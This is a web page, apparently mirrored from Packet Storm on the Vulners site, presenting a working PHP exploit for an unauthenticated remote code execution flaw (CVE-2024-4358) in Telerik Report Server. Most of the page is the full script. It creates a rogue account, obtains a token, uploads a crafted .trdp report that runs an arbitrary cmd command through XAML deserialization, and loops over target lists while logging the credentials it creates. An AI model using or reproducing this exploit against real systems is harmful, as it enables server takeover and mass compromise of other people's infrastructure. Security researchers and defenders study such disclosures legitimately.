Lucene search
+L

๐Ÿ“„ Telerik Report Server 2024 Q1-10.0.24.305 Remote Code Execution

๐Ÿ—“๏ธย 23 Feb 2026ย 00:00:00Reported byย indoushkaTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 136ย Views

Critical unauthenticated code execution in Telerik Report Server caused by insecure deserialization.

Related
Code
=============================================================================================================================================
    | # Title     : Telerik Report Server 2024 Q1-10.0.24.305 RCE via deserialization exploitation                                              |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.telerik.com/report-server                                                                                       |
    =============================================================================================================================================
    
    [+] Summary : Telerik Report Server versions 2024 Q1 (10.0.24.305) and potentially earlier contain a critical vulnerability 
                  that allows unauthenticated attackers to achieve remote code execution through insecure deserialization in report processing functionality.
                  The vulnerability exists due to improper input validation in the report processing mechanism. Attackers can exploit this by crafting malicious 
    			  report files (.trdp) containing serialized objects that, when deserialized, execute arbitrary code on the server.
    
    [+] Usage: 
    
    php exploit.php http://target:8080 
    
    [+] POC :
    
    <?php
    
    class CVE_2024_4358_Exploit {
        private $colors;
        private $random_color;
        private $options;
    
        const GREEN = "\033[32m";
        const MAGENTA = "\033[35m";
        const CYAN = "\033[36m";
        const RED = "\033[31m";
        const BLUE = "\033[34m";
        const YELLOW = "\033[33m";
        const WHITE = "\033[37m";
        const RESET = "\033[0m";
        const BOLD = "\033[1m";
        
        public function __construct() {
            $this->colors = [self::GREEN, self::CYAN, self::BLUE];
            $this->random_color = $this->colors[array_rand($this->colors)];
            $this->parseOptions();
            $this->showBanner();
        }
        
        private function showBanner() {
            $banner = self::BOLD . $this->random_color . "
     โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ•—   โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•—   โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— 
     โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—
     โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•‘โ–ˆโ–ˆ   โ–ˆโ•”โ•โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ• โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘
     โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘โ•šโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘
     โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘
     โ•šโ•โ•โ•šโ•โ•  โ•šโ•โ•โ•โ•โ•šโ•โ•โ•โ•โ•โ•  โ•šโ•โ•โ•โ•โ•โ•  โ•šโ•โ•โ•โ•โ•โ• โ•šโ•โ•โ•โ•โ•โ•โ•โ•šโ•โ•  โ•šโ•โ•โ•šโ•โ•  โ•šโ•โ•โ•šโ•โ•  โ•šโ•โ•
                     
                        " . self::BOLD . self::WHITE . "@indoushka " . self::RESET . "\n";
            
            echo $banner;
        }
        
        private function parseOptions() {
            $shortopts = "u:l:c:t:o:v";
            $longopts = [
                "url:",
                "list:",
                "command:",
                "threads:",
                "output:",
                "proxy:",
                "verbose"
            ];
            
            $options = getopt($shortopts, $longopts);
            
            $this->options = [
                'url' => $options['u'] ?? $options['url'] ?? null,
                'list' => $options['l'] ?? $options['list'] ?? null,
                'command' => $options['c'] ?? $options['command'] ?? 'id',
                'threads' => $options['t'] ?? $options['threads'] ?? 1,
                'output' => $options['o'] ?? $options['output'] ?? null,
                'proxy' => $options['proxy'] ?? null,
                'verbose' => isset($options['v']) || isset($options['verbose'])
            ];
        }
        
        private function randomizer($length = 30) {
            $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
            $randomString = '';
            for ($i = 0; $i < $length; $i++) {
                $randomString .= $characters[rand(0, strlen($characters) - 1)];
            }
            return $randomString;
        }
        
        private function makeRequest($url, $method = 'GET', $data = null, $headers = [], $proxy = null) {
            $ch = curl_init();
            
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => 30,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_USERAGENT => $this->getRandomUserAgent()
            ]);
            
            if ($method === 'POST') {
                curl_setopt($ch, CURLOPT_POST, true);
                if (is_array($data)) {
                    if (isset($headers['Content-Type']) && strpos($headers['Content-Type'], 'application/json') !== false) {
                        curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
                    } else {
                        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
                    }
                }
            }
            
            if (!empty($headers)) {
                $headerArray = [];
                foreach ($headers as $key => $value) {
                    $headerArray[] = "$key: $value";
                }
                curl_setopt($ch, CURLOPT_HTTPHEADER, $headerArray);
            }
            
            if ($proxy) {
                curl_setopt($ch, CURLOPT_PROXY, $proxy);
            }
            
            $response = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            return ['code' => $httpCode, 'body' => $response];
        }
        
        private function getRandomUserAgent() {
            $userAgents = [
                'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
                'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36',
                'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36',
                'Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15'
            ];
            return $userAgents[array_rand($userAgents)];
        }
        
        private function createUser($url, $user, $password) {
            $endpoint = $url . '/Startup/Register';
            $data = [
                'Username' => $user,
                'Password' => $password,
                'ConfirmPassword' => $password,
                'Email' => $user . '@' . $user . '.org',
                'FirstName' => $user,
                'LastName' => $user
            ];
            
            $headers = [
                'Content-Type' => 'application/x-www-form-urlencoded'
            ];
            
            $response = $this->makeRequest($endpoint, 'POST', $data, $headers, $this->options['proxy']);
            
            return $response['code'] === 200 ? 'success' : 'failed';
        }
        
        private function login($url, $user, $password) {
            $endpoint = $url . '/Token';
            $data = [
                'grant_type' => 'password',
                'username' => $user,
                'password' => $password
            ];
            
            $headers = [
                'Content-Type' => 'application/x-www-form-urlencoded'
            ];
            
            $response = $this->makeRequest($endpoint, 'POST', $data, $headers, $this->options['proxy']);
            
            if ($response['code'] === 200) {
                $jsonResponse = json_decode($response['body'], true);
                return $jsonResponse['access_token'] ?? null;
            }
            
            return null;
        }
        
        private function createPayload() {
            $zip = new ZipArchive();
            $filename = 'payloads.trdp';
            
            if ($zip->open($filename, ZipArchive::CREATE) === TRUE) {
                // Add [Content_Types].xml
                $zip->addFromString('[Content_Types].xml', 
                    '<?xml version="1.0" encoding="utf-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="xml" ContentType="application/zip" /></Types>');
                
                // Add definition.xml with command
                $definitionXml = '<Report Width="6.5in" Name="oooo"
     xmlns="http://schemas.telerik.com/reporting/2023/1.0">
     <Items>
      <ResourceDictionary
       xmlns="clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
       xmlns:System="clr-namespace:System;assembly:mscorlib"
       xmlns:Diag="clr-namespace:System.Diagnostics;assembly:System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
       xmlns:ODP="clr-namespace:System.Windows.Data;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral,    
    PublicKeyToken=31bf3856ad364e35"
      >
       <ODP:ObjectDataProvider MethodName="Start" >
        <ObjectInstance>
         <Diag:Process>
          <StartInfo>
           <Diag:ProcessStartInfo FileName="cmd" Arguments="/c ' . $this->options['command'] . '"></Diag:ProcessStartInfo>
          </StartInfo>
         </Diag:Process>
        </ObjectInstance>
       </ODP:ObjectDataProvider>
      </ResourceDictionary>
     </Items>';
                
                $zip->addFromString('definition.xml', $definitionXml);
                $zip->close();
                $fileContent = file_get_contents($filename);
                return base64_encode($fileContent);
            }
            
            return null;
        }
        
        private function exploit($payload, $url, $authToken, $user, $password) {
            $randomReport = $this->randomizer();
            $endpoint1 = $url . '/api/reportserver/report';
            $data1 = [
                'reportName' => $randomReport,
                'categoryName' => 'Samples',
                'description' => null,
                'reportContent' => $payload,
                'extension' => '.trdp'
            ];
            
            $headers1 = [
                'Authorization' => 'Bearer ' . $authToken,
                'Content-Type' => 'application/json'
            ];
            
            $response1 = $this->makeRequest($endpoint1, 'POST', $data1, $headers1, $this->options['proxy']);
            
            if ($response1['code'] != 200) {
                echo self::BOLD . self::GREEN . "[Vulnerable]" . self::RESET . ": " . self::BOLD . self::WHITE . 
                     "Report for: $url\n Login Credentials: Username: $user | Password: $password | Authentication Token: $authToken\n Deserialization RCE: Failed" . self::RESET . "\n";
                $this->report("Report for: $url\n Login Credentials: Username: $user | Password: $password | Authentication Token: $authToken\n Deserialization RCE: Failed\n----------------------------------");
                return;
            }
            $endpoint2 = $url . '/api/reports/clients';
            $data2 = ['timeStamp' => null];
            $response2 = $this->makeRequest($endpoint2, 'POST', $data2, [], $this->options['proxy']);
            
            if ($response2['code'] == 200) {
                $jsonResponse2 = json_decode($response2['body'], true);
                $clientId = $jsonResponse2['clientId'] ?? null;
            } else {
                echo self::BOLD . self::GREEN . "[Vulnerable]" . self::RESET . ": " . self::BOLD . self::WHITE . 
                     "Report for: $url\n Login Credentials: Username: $user | Password: $password | Authentication Token: $authToken\n Report created: $randomReport\n Deserialization RCE: Failed" . self::RESET . "\n";
                $this->report("Report for: $url\n Login Credentials: Username: $user | Password: $password | Authentication Token: $authToken\n Report created: $randomReport\n Deserialization RCE: Failed\n----------------------------------");
                return;
            }
            
            if (!$clientId) {
                return;
            }
            $endpoint3 = $url . "/api/reports/clients/$clientId/parameters";
            $data3 = [
                'report' => "NAME/Samples/$randomReport/",
                'parameterValues' => []
            ];
            
            $this->makeRequest($endpoint3, 'POST', $data3, $headers1, $this->options['proxy']);
            
            echo self::BOLD . self::GREEN . "[Vulnerable]" . self::RESET . ": " . self::BOLD . self::WHITE . 
                 "Report for: $url\n Login Credentials: Username: $user | Password: $password | Authentication Token: $authToken\n Report created: $randomReport\n Deserialization RCE: Success" . self::RESET . "\n";
            
            $this->report("Report for: $url\n Login Credentials: Username: $user | Password: $password | Authentication Token: $authToken\n Report created: $randomReport\n Deserialization RCE: Success\n----------------------------------");
        }
        
        private function report($result) {
            try {
                $filename = $this->options['output'] ?? 'results.txt';
                file_put_contents($filename, $result . PHP_EOL, FILE_APPEND | LOCK_EX);
            } catch (Exception $e) {
            }
        }
        
        private function processUrl($url) {
            $user = $this->randomizer();
            $password = $this->randomizer();
            
            $status = $this->createUser($url, $user, $password);
            
            if ($status === 'success') {
                usleep(1000); 
                $authToken = $this->login($url, $user, $password);
                
                if ($authToken) {
                    $payload = $this->createPayload();
                    if ($payload) {
                        $this->exploit($payload, $url, $authToken, $user, $password);
                    }
                }
            }
            
            usleep(2000); 
        }
        
        public function run() {
            $urls = [];
            
            if ($this->options['url']) {
                $url = $this->options['url'];
                if (!preg_match('#^https?://#', $url)) {
                    $urls[] = 'https://' . $url;
                    $urls[] = 'http://' . $url;
                } else {
                    $urls[] = $url;
                }
            }
            
            if ($this->options['list']) {
                if (!file_exists($this->options['list'])) {
                    echo self::BOLD . self::RED . "[WRN]" . self::RESET . ": " . self::BOLD . self::WHITE . 
                         $this->options['list'] . " no such file or directory" . self::RESET . "\n";
                    exit(1);
                }
                
                $fileContent = file($this->options['list'], FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
                foreach ($fileContent as $url) {
                    $url = trim($url);
                    if (!preg_match('#^https?://#', $url)) {
                        $urls[] = 'https://' . $url;
                        $urls[] = 'http://' . $url;
                    } else {
                        $urls[] = $url;
                    }
                }
            }
    
            $urls = array_unique($urls);
            
            echo "Starting exploitation for " . count($urls) . " URLs...\n";
            
            foreach ($urls as $url) {
                $this->processUrl($url);
            }
            
            // Clean up
            if (file_exists('payloads.trdp')) {
                unlink('payloads.trdp');
            }
        }
    }
    
    if (in_array('-h', $argv) || in_array('--help', $argv)) {
        echo "Usage: php " . basename(__FILE__) . " [options]\n";
        echo "Options:\n";
        echo "  -u, --url URL        Specify a URL or IP with port for vulnerability detection\n";
        echo "  -l, --list FILE      Specify a list of URLs or IPs for vulnerability detection\n";
        echo "  -c, --command CMD    Specify a shell command to execute (default: 'id')\n";
        echo "  -t, --threads NUM    Number of threads (not fully implemented in PHP version)\n";
        echo "  --proxy URL          Proxy URL to send request via your proxy\n";
        echo "  -v, --verbose        Increases verbosity of output in console\n";
        echo "  -o, --output FILE    Filename to save output of vulnerable target\n";
        exit(0);
    }
    
    $exploit = new CVE_2024_4358_Exploit();
    $exploit->run();
    
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Feb 2026 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 3.19.8
EPSS0.97482
136